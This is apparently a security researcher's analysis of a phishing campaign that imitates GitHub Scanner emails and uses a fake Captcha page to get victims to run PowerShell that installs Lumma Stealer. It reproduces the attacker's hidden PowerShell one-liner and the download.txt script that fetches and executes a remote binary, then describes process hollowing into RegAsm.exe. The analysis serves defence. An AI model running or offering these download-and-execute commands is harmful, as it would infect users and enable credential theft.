Introduction

On September 19, 2024, I received an email regarding a GitHub Scanner result for my public repository. Initially, the email was not flagged as malicious or spam; however, further investigation revealed it to be part of a malware campaign attempting to distribute Lumma Stealer, disguised as a GitHub Scanner notification.

Technical Analysis

Upon accessing the link (https://github-scanner.com), a Captcha verification page is presented.

The Captcha Verification steps are as follow:

The copied malicious PowerShell payload will execute the commands specified in download.txt.

powershell.exe -w hidden -Command "iex (iwr 'https://github-scanner.com/download.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"

The download.txt contains the following content, which fetches an executable, renames it to SysSetup.exe, and executes it:

$webClient = New-Object System.Net.WebClient
$url1 = "https://github-scanner.com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath  $env:TEMP\SysSetup.exe

The l6E.exe (also referred to as SysSetup.exe) is a .NET executable, and its main function is as follows:

The PersonalActivation method serves as a decryption function to decrypt Program.AIOsncoiuuA, using Program.Alco as the key, and MoveAngles.userBuffer, using MoveAngles.key:

Upon decrypting the blob, it calls VirtualProtect on it with PAGE_EXECUTE_READWRITE permissions, and then executes it using CallWindowProcW.

The Program.AIOsncoiuuA appears to be shellcode and MoveAngles.userBuffer is an executable once decrypted:

Shellcode Analysis

The shellcode first iterates through _PEB_LDR_DATA to resolve the LoadLibraryA and GetProcAddress APIs:

It then uses the GetProcAddress to obtain the addresses of the following APIs: CreateProcessA, VirtualAlloc, GetThreatContext, ReadProcessMemory, VirtualAllocEx, WriteProcessMemory, SetThreatContext and ResumeThread.

Moving on, it spawns a child process of RegAsm.exe and allocates memory in its address space with PAGE_EXECUTE_READWRITE permissions. It then retrieves the current thread context of RegAsm.exe, allowing the it to later modify its execution flow by manipulating the thread’s state and registers, this suggest that it setting up memory for Process Hollowing later.

After that, the MoveAngles.userBuffer EXE code sections are now written into the memory of RegAsm.exe. This step is key to the process hollowing technique, as the legitimate RegAsm.exe code is replaced with malicious code. Each section of memory (.text, .rdata, .data, .reloc) is replaced sequentially, suggesting a complete takeover of the executable’s logic.

Finally, the loader restores the modified thread context (SetThreadContext) to point to the newly injected malicious code, and then resumes the thread using ResumeThread. At this point, RegAsm.exe will execute the malicious code instead of its original program.

The malicious EXE code injected into RegAsm.exe is as follows. At first glance, it appears to decrypt itself at runtime:

Execute it in ANY RUN indicates that LUMMA Stealer has been detected:

Indicator of Compromise

References

https://x.com/troyhunt/status/1836508464375308684